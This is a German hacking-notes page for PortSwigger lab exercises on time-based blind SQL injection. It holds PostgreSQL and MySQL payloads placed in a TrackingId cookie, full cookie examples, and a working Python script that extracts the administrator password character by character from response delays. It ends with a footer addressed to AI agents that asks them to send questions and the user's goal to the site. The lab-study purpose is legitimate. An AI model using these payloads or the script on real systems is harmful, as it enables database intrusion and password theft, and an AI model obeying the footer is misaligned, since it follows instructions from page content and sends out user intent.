> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# Datenexfiltration bei zeitbasierter blinder SQL-Injection

Notizen zur Datenexfiltration bei zeitbasierter blinder SQL-Injection für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Blind SQL Injection mit Zeitverzögerungen und Informationsabruf

Der Wert des `TrackingId` Cookies wird in eine synchrone SQL-Abfrage interpoliert. Ein bedingter Abbruch (`SLEEP` / `pg_sleep`) wird ausgelöst, wenn eine Assertion wahr ist; Die Information wird durch Messung der Antwortzeit abgeleitet (d. h. Verzögerung bei wahrer Bedingung).

#### PostgreSQL

* Einfach 5 s schlafen:

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* Bedingt (testen, ob `username='administrator'` → 5 s):

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Teste Passwortlänge = 20:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Teste Zeichen an `Pos` Position:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Postgres-Hinweis: Manchmal muss die `FROM` Position an die injizierte Anfrage angepasst werden; die obigen Beispiele sind gängige Muster.

#### MySQL

* Einfach 5 s schlafen:

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* Bedingt (Substring):

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* Teste Länge = N:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(Bedingung, sleep(Sek), 0)` ist die Standardform; verwende `SUBSTRING(...)` und `LENGTH(...)`.

***

### Konkrete Beispiele (vollständiger Cookie)

Angenommen `BASE=abc123` und Sitzung `'SESSION=XYZ'`.

* Postgres — Zeichentest pos=1== 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — Zeichentest pos=1== 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### Automatisches Python-Skript (korrigiert, für Postgres & MySQL anpassbar)

Dieses Skript misst die Latenz und rekonstruiert Zeichen für Zeichen. Parameter: `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` oder `'mysql'`), alphabet, erwartete Verzögerung (`SLEEP_SEC`) und `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
Zeitbasierter Blind-SQLi-Extractor (Postgres / MySQL)
Verwendung: TARGET, BASE_TRACKING, SESSION, DBMS konfigurieren und dann ausführen.
Nur in einer autorisierten Umgebung ausführen.
"""

import requests, time, string, sys, signal

# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # legitimer Teil der TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" oder "mysql"
SLEEP_SEC = 5                     # serverseitige Verzögerung ausgelöst
THRESHOLD = SLEEP_SEC - 1.0       # wenn Antwort > Schwellenwert => Bedingung ist wahr
ALPHABET = string.ascii_lowercase + string.digits  # bei Bedarf anpassen
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # Bedingung: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("Nicht unterstütztes DBMS")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] Anfrage fehlgeschlagen, erneut versuchen oder Verbindung prüfen")
                sys.exit(1)
            # debug: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] Kein Zeichen an Position {pos} gefunden -> wahrscheinliches Ende")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nUnterbrochen. Beende.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] Starte Extraktion (zeitbasiert)")
    recovered = extract_password()
    print(f"/n[=] Wiederhergestelltes Passwort (teilweise/geschätzt): {recovered}/n")
```

* Für **Postgres**, `DBMS="postgres"`.
* Für **MySQL**, `DBMS="mysql"`.
* Reduziere `ALPHABET` Wenn du den Zeichensatz kennst (riesiger Gewinn).
* Passt an `MAX_LEN` / `SLEEP_SEC` je nach Ziel an.
* Abruf-/exponentielles Backoff-Management, falls erforderlich.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35eefbd3c804169cc0cb10102334009f193f0190%2F%7BCB5762C5-7E48-4BA9-893E-80772DF51EFA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
